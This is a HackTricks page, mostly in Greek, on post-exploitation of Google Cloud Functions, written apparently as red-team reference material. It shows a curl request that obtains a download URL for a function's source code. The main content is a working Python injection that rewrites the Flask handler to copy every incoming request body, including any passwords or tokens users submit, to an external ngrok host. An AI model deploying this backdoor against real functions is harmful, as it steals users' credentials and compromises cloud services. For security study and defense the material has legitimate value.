GCP - Cloud Functions Post Exploitation

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!

Άλλοι τρόποι υποστήριξης των HackTricks:

Cloud Functions

Βρείτε πληροφορίες σχετικά με τις Cloud Functions στο:

pageGCP - Cloud Functions Enum

cloudfunctions.functions.sourceCodeGet

Με αυτήν την άδεια μπορείτε να λάβετε ένα υπογεγραμμένο URL για να μπορέσετε να κατεβάσετε τον κώδικα πηγής της Cloud Function:

curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Κλοπή Αιτημάτων Cloud Function

Εάν η Cloud Function διαχειρίζεται ευαίσθητες πληροφορίες που οι χρήστες αποστέλλουν (π.χ. κωδικούς πρόσβασης ή τοκενς), με επαρκή δικαιώματα μπορείτε να τροποποιήσετε τον πηγαίο κώδικα της λειτουργίας και να εξαγάγετε αυτές τις πληροφορίες.

Επιπλέον, οι Cloud Functions που εκτελούνται σε python χρησιμοποιούν το flask για την εκθεση του διακομιστή web, αν βρείτε κάποια ευπάθεια εισαγωγής κώδικα μέσα στη διαδικασία του flask (για παράδειγμα μια ευπάθεια SSTI), είναι δυνατόν να αντικαταστήσετε τον χειριστή της λειτουργίας που θα λάβει τα αιτήματα HTTP για μια κακόβουλη λειτουργία που μπορεί να εξάγει το αίτημα πριν το περάσει στον νόμιμο χειριστή.

Για παράδειγμα, ο παρακάτω κώδικας υλοποιεί την επίθεση:

import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""

if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"



# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)

return ""

def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)

return view_func
"""

def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys

if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)

if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"

# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path) # Get full path

# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)

spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)

# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)

# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"

except Exception as e:
return str(e)

Last updated